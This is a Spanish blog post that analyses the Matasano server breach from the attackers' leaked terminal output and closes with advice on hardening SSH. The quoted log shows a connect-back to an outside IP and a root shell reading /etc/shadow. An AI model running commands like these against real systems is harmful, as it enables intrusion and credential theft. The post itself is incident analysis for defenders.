¿Cómo fue hackeado Matasano?
Eso es imposible de responder a partir de la información en la publicación de divulgación completa. Sin embargo, siempre es interesante especular, ya que dan un poco de información.
# ./th3_f1n4l_s0lut10n www.matasano.com
[-] Conectando a 69.61.87.163:22 ..
[/] Buscando un usuario no root válido ... adam
******** R3D4CT3D h4h4h4h4 ********
Ejecutan su " th3_f1n41_s01ut10n" binario contra el servidor de Matasano, que se conecta al puerto ssh. Encuentra un usuario no root válido a través de algunos medios desconocidos, y el resto de la salida se elimina.
# ./th3_f1n4l_s0lut10n -u adam -t 3 www.matasano.com
[*] Escucha de Connectback en 209.112.118.10:3338 ..
[!] SSH2_MSG_SERVICE_ACCEPT [OpenSSH_4.5p1, OpenSSL 0.9.8g 19 de octubre de 2007]
El binario se ejecuta nuevamente utilizando el nombre de usuario encontrado, que inicia sesión y se conecta de nuevo a su servidor en el puerto 3338 (espero que no esté registrado en su nombre ...).
adam_at_www: ~ $ uname -a
Linux www 2.6.20.1-1-686 # 1 SMP dom 4 de marzo 12:44:55 UTC 2007 i686 GNU / Linux
**** h4h4h4hh4h4h4 l3tz us3 m0r3! 0D4Y! H4H4H4H4H4H4H4 ****
Podrían estar dando a entender que tienen un día 0 en contra de este kernel, que es bastante antiguo cuando se considera el stock en el comercio de esta empresa.
adam_at_www: ~ $ cd / tmp
*********** B0R1NG ***********
root_at_www: ~ # cat / etc / shadow
Whoops: de repente, el usuario ahora es root. Tienen un exploit de escalada de privilegios locales en / tmp que podría ser el día 0 al que se refirieron.
Por lo tanto, hay al menos dos exploits aquí: el exploit OpenSSH para obtener un usuario no root válido en el sistema, e iniciar sesión como ese usuario, y luego la escalada de privilegios locales.
Teniendo en cuenta que OpenSSH tiene algunos problemas de seguridad conocidos desde la versión 4.5:
Desde la página de seguridad de OpenSSH :
- OpenSSH anterior a la versión 5.2 es vulnerable a la debilidad del protocolo descrita en CPNI-957037 "Ataque de recuperación de texto plano contra SSH". Sin embargo, según la limitada información disponible, parece que este ataque descrito no es factible en la mayoría de las circunstancias. Para obtener más información, consulte el aviso cbc.adv y las notas de la versión de OpenSSH 5.2.
- OpenSSH 4.9 y posteriores no se ejecutan
~/.ssh/rcpara sesiones cuyo comando se ha anulado con una directiva ForceCommand sshd_config (5). Este fue un comportamiento documentado pero inseguro (descrito en las notas de la versión de OpenSSH 4.9).
- OpenSSH 4.7 y versiones posteriores no recurren a la creación de cookies de autenticación X11 confiables cuando falla la generación de cookies no confiables (por ejemplo, debido al agotamiento deliberado de los recursos), como se describe en las notas de la versión de OpenSSH 4.7.
Supongo que tener este kernel de Linux anterior y el demonio SSH anterior lo hicieron por ellos. Además, se estaba ejecutando en su servidor www, que está disponible en Internet, lo cual es bastante confiable en mi opinión. La gente que irrumpió obviamente quería avergonzarlos.
¿Cómo prevenir estos ataques?
Esto podría haberse evitado mediante una administración proactiva, asegurándose de que los servicios de Internet estén parcheados y limitando la cantidad de personas que pueden conectarse en lugar de permitir que las personas se conecten desde cualquier lugar. Este episodio complica la lección de que la administración segura del sistema es difícil y requiere la dedicación de la empresa para proporcionar tiempo a TI para mantener las cosas parcheadas; en realidad, no es algo que suceda fácilmente, al menos en compañías más pequeñas.
Lo mejor es usar un enfoque de cinturón y llaves: usar autenticación de clave pública, incluir en la lista blanca el demonio ssh, autenticación de dos factores, restricciones de IP y / o poner todo detrás de la VPN son posibles rutas para bloquearlo.
Creo que sé lo que haré en el trabajo mañana. :)